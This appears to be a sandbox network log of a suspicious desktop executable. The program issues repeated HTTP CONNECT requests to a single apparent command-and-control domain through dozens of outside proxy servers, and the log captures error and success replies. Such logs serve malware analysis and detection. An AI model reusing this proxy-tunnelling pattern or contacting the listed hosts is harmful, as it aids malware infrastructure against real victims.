Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.11	52624	121.66.198.76	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.447635889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.11	52650	34.64.4.27	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.447658062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.849697113 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1592 Date: Mon, 11 Mar 2024 15:42:22 GMT Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen
Mar 11, 2024 16:42:22.849704981 CET	489	IN	Data Raw: 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 Data Ascii: and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </styl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.11	52830	172.64.80.55	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.452076912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.606384993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.11	52723	194.4.50.132	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.452205896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.11	52749	34.135.203.172	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.452716112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.005019903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845109940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.142249107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.720741987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.345199108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.11	52684	23.137.248.197	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.452784061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.11	52673	58.75.126.235	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.453449965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.11	52875	104.19.233.117	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.453896046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.608186007 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.11	52878	104.17.62.87	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.454459906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.608861923 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.11	52023	138.68.24.185	55010	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.456537962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612081051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.11	52645	148.66.130.53	47891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.456820965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.280162096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311991930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.311455011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.345206022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.11	52735	192.111.139.165	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.459894896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.11	52827	146.59.18.246	30673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.460114956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.11	52634	188.166.186.145	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.464914083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.814537048 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.11	52879	172.67.35.15	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.464939117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.619297028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.11	52652	143.64.8.21	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.465544939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.11	50611	162.214.227.68	54047	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.466043949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.11	52701	43.133.74.172	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.467770100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.11	51839	119.91.214.119	3389	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.468242884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.11	52775	98.162.25.4	31654	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.471443892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.11	52622	15.207.35.241	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.472726107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.864350080 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.11	52869	104.16.107.142	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.472757101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
